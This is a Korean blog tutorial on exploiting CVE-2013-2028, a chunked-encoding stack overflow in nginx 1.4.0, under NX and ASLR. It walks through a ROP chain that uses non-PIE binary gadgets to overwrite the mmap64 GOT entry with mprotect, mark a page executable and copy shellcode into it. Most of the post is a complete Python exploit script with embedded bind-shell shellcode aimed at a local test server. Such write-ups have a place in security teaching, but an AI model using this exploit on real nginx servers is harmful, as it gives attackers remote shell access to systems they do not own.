#dokydoky

[CVE-2013-2028] Nginx stack-based buffer overflow(3) - NX, ASLR 본문

System Hacking

[CVE-2013-2028] Nginx stack-based buffer overflow(3) - NX, ASLR

dokydoky 2016. 12. 26. 16:58

0x01. Intro

안녕하세요. dokydoky입니다.

이전 포스팅에서는 NX만 적용되어 있는 환경에서 어떻게 익스플로잇 하는지 알아봤습니다.
이번 포스팅에서는 ASLR이 추가적으로 적용되어 있는 환경에서 어떻게 익스플로잇 하는지 알아보겠습니다.

이전 포스팅에서는 libc-2.19.so에서 가젯을 구성했지만, ASLR이 적용되면
libc-2.19.so의 메모리 주소가 달라지기 때문에 이전의 방식으로는 익스플로잇 할 수 없습니다.
(ASLR이 적용되면 Stack, VDSO(Virtual Dynamic Shared Object), 공유메모리 영역, Data 세그먼트의 주소가 랜덤화됩니다.)

그렇다면 어떻게 가젯을 구성할까요?
nginx 1.4.0 버전에서는 PIE가 적용되어 있지 않습니다. 이를 이용해 봅시다.

이하 존칭어를 생략합니다.


0x02. Exploit

환경 설정
이전 포스팅에서 ASLR을 해제했으므로, 아래와 같이 설정하여 ASLR을 적용하자.


checksec으로 nginx1을 확인해보자.

PIE가 적용되어 있지 않음을 확인 할 수 있다.
PIE가 적용되면 바이너리를 실행할 때마다 바이너리, plt, got의 메모리 맵핑 주소가 매번 변경되지만,
적용되지 않은 경우 nginx1 바이너리의 주소가 일정하기 때문에 해당 영역(nginx1 바이너리)을 이용해서 ROP 가젯을 구성할 수 있다.

처음 실행시킨 nginx1와 다시 실행시킨 nginx1의 메모리 맵을 비교해보면, 아래 그림들에서 볼 수 있듯이 nginx1의 코드영역만이 고정적인 주소를 가지는 것을 알 수 있다.
그렇다면 이 주소를 이용해서 익스플로잇 해보자.

nginx 바이너리만으로 이전 방법과 같은 가젯을 구성하기 힘들기 때문에 다른 방식으로 구성한다.
이 방법은 이 코드에서 사용된 방법이다.

Exploit Overview

1. mmap64의 got를 mprotect로 변경.
2. 0x410000의 영역에 mprotect로 write 권한 추가
3. shellcode를 0x410000으로 복사
4. 0x410000으로 jmp

우리는 mprotect를 이용해 페이지의 권한을 변경하려고 하지만, 아래와 같이 nginx1 바이너리에는 mprotect의 plt가 없다.
그래서 여기선 plt가 존재하는 mmap64을 이용해서 mprotect 함수를 호출하도록 할 것이다.
mmap64 함수의 got를 mprotect 함수 주소로 변경하면 mmap64 호출 시 mprotect가 호출된다.

root@nginx:/vagrant/bin# gdb nginx1
(gdb) p mprotect
No symbol "mprotect" in current context.
(gdb) p mmap64
$1 = {<text variable, no debug info>} 0x402680 <mmap64@plt>
(gdb) x/3i 0x402680
   0x402680 <mmap64@plt>:	jmpq   *0x275bfa(%rip)        # 0x678280 <mmap64@got.plt>
   0x402686 <mmap64@plt+6>:	pushq  $0x4d
   0x40268b <mmap64@plt+11>:	jmpq   0x4021a0


참고로, plt영역은 0x4021a0 ~ 0x402960 으로 메모리 맵에서보면 고정적인 주소를 가진다. (No PIE 때문)


mmap64의 got를 mprotect로 변경한 뒤, mprotect를 호출하여 0x410000의 영역에 write 권한 추가하는 ROP gadget은 아래와 같다.

mmap64 = 0x402680
mmapgot = 0x678280
mmapaddr = 0x410000

# System call table of 'sys_mprotect' 
#   %rdi = unsigned long start = mmapaddr
#   %rsi = size_t len = 0x1000
#   %rdx = unsigned long prot = 7

chain = [
    0x0046bcb0,			# pop rax ; retn 0x0000
    0x60,			# an offset between mmap64, mprotect
    0x0044e87c,			# pop rdi ; ret  
    mmapgot,			
    0x0045b724,			# add byte [rdi], al ; mov eax, 0x00000000 ; ret 
    
    0x0046bcb0,			# pop rax ; retn 0x0000
    mmapgot,			# For next Instruction "xor byte [rax-0x77], cl"
    0x0041acbe,			# pop rdx ; xor byte [rax-0x77], cl ; ret  
    0x7,
    0x004069e2,			# pop rsi ; ret
    0x1000,
    0x0044e87c,			# pop rdi ; ret 
    mmapaddr,
    mmap64
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)

6번째 가젯에서 rax에 mmapgot값을 넣는 이유는, 다음 명령어인 "xor byte [rax-0x77], cl" 때문이다.
xor 명령어 실행을 위해서는 [rax-0x77]영역에 쓰기(w) 권한이 있어야 하고, 이를 위해 쓰기 권한이 있는 got영역을 넣어준 것.

0x410000 영역에 쓰기권한이 생겼으므로, 해당 영역에 shellcode을 복사한 후 shellcode를 실행할 수 있다.
해당 gadget은 아래와 같다.

shellcode = (
    '\x6A\x29\x58\x6A\x02\x5F\x6A\x01\x5E\x99\x0F\x05\x52\xBA\x01\x01' +
    '\x01\x01\x81\xF2\x03\x01\x31\x38\x52\x6A\x10\x5A\x48\x89\xC5\x48' +
    '\x89\xC7\x6A\x31\x58\x48\x89\xE6\x0F\x05\x6A\x32\x58\x48\x89\xEF' +
    '\x6A\x01\x5E\x0F\x05\x6A\x2B\x58\x48\x89\xEF\x31\xF6\x99\x0F\x05' +
    '\x48\x89\xC5\x6A\x03\x5E\x48\xFF\xCE\x78\x0B\x56\x6A\x21\x58\x48' +
    '\x89\xEF\x0F\x05\xEB\xEF\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01' +
    '\x01\x01\x31\xD2\x52\x6A\x08\x5A\x48\x01\xE2\x52\x48\x89\xE2\x6A' +
    '\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48' +
    '\x89\xE7\x48\x89\xD6\x99\x0F\x05'
)

mmapaddr = 0x410000

for i in range(0,len(shellcode),8):
    code = shellcode[i:i+8]
    chain = [
        0x0046bcb0,			# pop rax ; retn 0x0000
	mmapaddr+i,			# dst
        0x004069e2,			# pop rsi ; ret
	struct.unpack('<Q', code)[0],	# src : shellcode chunk(8byte)
        0x00428cdb			# mov qword [rax], rsi ; mov eax, 0x00000000 ; ret
    ]
    ropchain += ''.join(struct.pack('<Q', _) for _ in chain)

ropchain += struct.pack('<Q', mmapaddr)		# return to mmapaddr


0x03. Full Exploit code
nginx1_nx_aslr_exploit.py

# -*- coding: utf-8 -*-

########################################################################################
# CVE-2013-2028
# Environment : NX, ASLR
# Coded by dokydoky
# I used ROP Gagdet in https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb
########################################################################################


import socket
import struct
from pwn import *

shellcode = (
    '\x6A\x29\x58\x6A\x02\x5F\x6A\x01\x5E\x99\x0F\x05\x52\xBA\x01\x01' +
    '\x01\x01\x81\xF2\x03\x01\x31\x38\x52\x6A\x10\x5A\x48\x89\xC5\x48' +
    '\x89\xC7\x6A\x31\x58\x48\x89\xE6\x0F\x05\x6A\x32\x58\x48\x89\xEF' +
    '\x6A\x01\x5E\x0F\x05\x6A\x2B\x58\x48\x89\xEF\x31\xF6\x99\x0F\x05' +
    '\x48\x89\xC5\x6A\x03\x5E\x48\xFF\xCE\x78\x0B\x56\x6A\x21\x58\x48' +
    '\x89\xEF\x0F\x05\xEB\xEF\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01' +
    '\x01\x01\x31\xD2\x52\x6A\x08\x5A\x48\x01\xE2\x52\x48\x89\xE2\x6A' +
    '\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48' +
    '\x89\xE7\x48\x89\xD6\x99\x0F\x05'
)

mmap64 = 0x402680
mmapgot = 0x678280
mmapaddr = 0x410000

# System call table of 'sys_mprotect' 
#   %rdi = unsigned long start = mmapaddr
#   %rsi = size_t len = 0x1000
#   %rdx = unsigned long prot = 7

chain = [
    0x0046bcb0,			# pop rax ; retn 0x0000
    0x60,			# an offset between mmap64, mprotect
    0x0044e87c,			# pop rdi ; ret  
    mmapgot,			
    0x0045b724,			# add byte [rdi], al ; mov eax, 0x00000000 ; ret 
    
    0x0046bcb0,			# pop rax ; retn 0x0000
    mmapgot,			# For next Instruction "xor byte [rax-0x77], cl"
    0x0041acbe,			# pop rdx ; xor byte [rax-0x77], cl ; ret  
    0x7,
    0x004069e2,			# pop rsi ; ret
    0x1000,
    0x0044e87c,			# pop rdi ; ret 
    mmapaddr,
    mmap64
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)

for i in range(0,len(shellcode),8):
    code = shellcode[i:i+8]
    chain = [
        0x0046bcb0,			# pop rax ; retn 0x0000
	mmapaddr+i,			# dst
        0x004069e2,			# pop rsi ; ret
	struct.unpack('<Q', code)[0],	# src : shellcode chunk(8byte)
        0x00428cdb			# mov qword [rax], rsi ; mov eax, 0x00000000 ; ret
    ]
    ropchain += ''.join(struct.pack('<Q', _) for _ in chain)

ropchain += struct.pack('<Q', mmapaddr)		# return to mmapaddr


ChunkSize = '8000000000000000'
data = "A"*5139 + ropchain

payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, data)

if __name__ == "__main__":
    HOST = '127.0.0.1'
    PORT = 8080

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.sendall(payload)

Result


NX와 ASLR이 걸려있는 환경에서 익스플로잇 하는 방법을 알아봤습니다.

바이너리에 PIE가 걸려있지 않아, 바이너리에서 ROP 가젯을 구성하여 익스플로잇 할 수 있었습니다.

다음 편에는 Stack Canary를 추가한 환경에서의 익스플로잇에 대해 알아보겠습니다.


Comments